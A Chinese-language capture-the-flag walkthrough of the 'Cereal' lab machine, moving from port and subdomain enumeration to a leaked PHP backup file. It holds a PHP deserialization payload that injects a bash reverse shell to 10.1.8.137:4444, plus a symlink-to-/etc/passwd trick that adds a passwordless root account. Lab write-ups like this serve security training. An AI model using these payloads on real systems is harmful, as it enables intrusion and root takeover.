1.常规端口及服务发现
2.21端口开放ftp服务,searchsploit发现存在一个拒绝服务类漏洞
使用anonymous匿名登录,登录后没有发现可以下载的文件
put上传文件发现也失败
nc 10.1.8.140 21连接上后发现也没有可使用的命令,连接其他端口也没有反馈
enum4linux也没有扫描得到有效信息
3.80端口首页面没有收获,dirb路径爆破得到admin登录页面,爆破失败,blog页面下提示绑带
指定域名访问,修改hosts文件互访问该域名,重新访问blog得到新内容
wpscan --url http://cereal.ctf/blog -e vt,vp --plugins-detection mixed检测wordpress 漏洞
也没有得到有效信息,对80端口的检测均没有有效进展,使用dirb进备份文件检查
dirb http://cereal.ctf/blog/ -x .bak,back
使用dirbuster工具进行爆破备份文件
4.开始检查44441端口
检查主页面后没有发现,然后进行路径爆破,也都没有查到备份文件和敏感目录
考虑还有可能存在子域名
gobuster vhost -u http://cereal.ctf:44441 -w /usr/share/seclists/Discovery/DNS/fierce-hostlist.txt
发现存在一个子域名,再次修改hosts文件绑定域名,访问该子域名
成功访问到新的应用
5.发现存在序列化数据,尝试访问网页的比诶份文件,继续使用dirbuster进行爆破备份文件
发现/back_en/路径,继续爆破备份路径,发现存在一个/back_en/index.php.bak文件,尝试
通过wget该路径得到该备份文件的源码,开始进行代码审计
6.在客户端生成一串序列化数据直接指定isvaild的值为true即可绕过校验,导致命令执行
<?php class pingTest{ public $ipAddress="127.0.0.1|bash -i >& /dev/tcp/10.1.8.137/4444 0>&1 "; public $isValid=True; } $obj=new pingTest(); echo urlencode(serialize($obj)); ?>php a.php
将数据放到bp里面,发送后成功突破外围拿下shell
7.suid文件,sudo -l uname -a内核提权均失败
ps -aux查看系统进程也没有发现有用信息
8.使用pspy工具监视操作系统进程的创建活动,查看是否有定时任务执行
发现/usr/share/scripts/chown.sh这个脚本可疑,再次尝试获取到新的shell后,查看
该脚本修改了账号权限,会周期性把组权限均改为apache
ln -sf /etc/passwd ./passwd 尝试修改该路径下的文件
修改完成后可以修改x占位符,不需要密码即可切换到root账号
9.创建新的root权限的账号
echo “zs::0:0:root:/root:/bin/bash”
然后su到zs账号,成功拿到root权限,打靶完成